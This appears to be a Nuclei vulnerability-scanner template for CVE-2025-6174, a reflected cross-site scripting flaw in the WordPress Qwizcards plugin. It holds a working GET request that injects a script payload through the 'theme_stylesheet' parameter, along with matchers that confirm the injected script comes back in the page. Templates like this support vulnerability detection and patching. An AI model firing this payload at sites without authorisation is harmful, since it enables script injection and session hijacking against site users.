漏洞描述
The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
id: CVE-2025-6174
info:
name: WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
author: 0x_Akoko
severity: medium
description: |
The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
impact: |
Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
remediation: |
Update to the latest version beyond 3.9.4.
reference:
- https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
- https://nvd.nist.gov/vuln/detail/CVE-2025-6174
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-6174
epss-score: 0.04742
epss-percentile: 0.88341
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
tags: cve,cve2025,qwizcards,wordpress,wp-plugin,xss,unauth
variables:
randstr: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet=\"><script>alert('{{randstr}}')</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('{{randstr}}')</script>"
- "rel=\"stylesheet\""
- "qwiz_button"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022077e63479fb06767c7865c77d23c8ca5a8e9d8b23b67d9415dbc239ced96f86920221008417924e0078def20972ff8ca11c3fd062deecf4acd99985627b40c52794a497:922c64590222798bb761d5b6d8e72950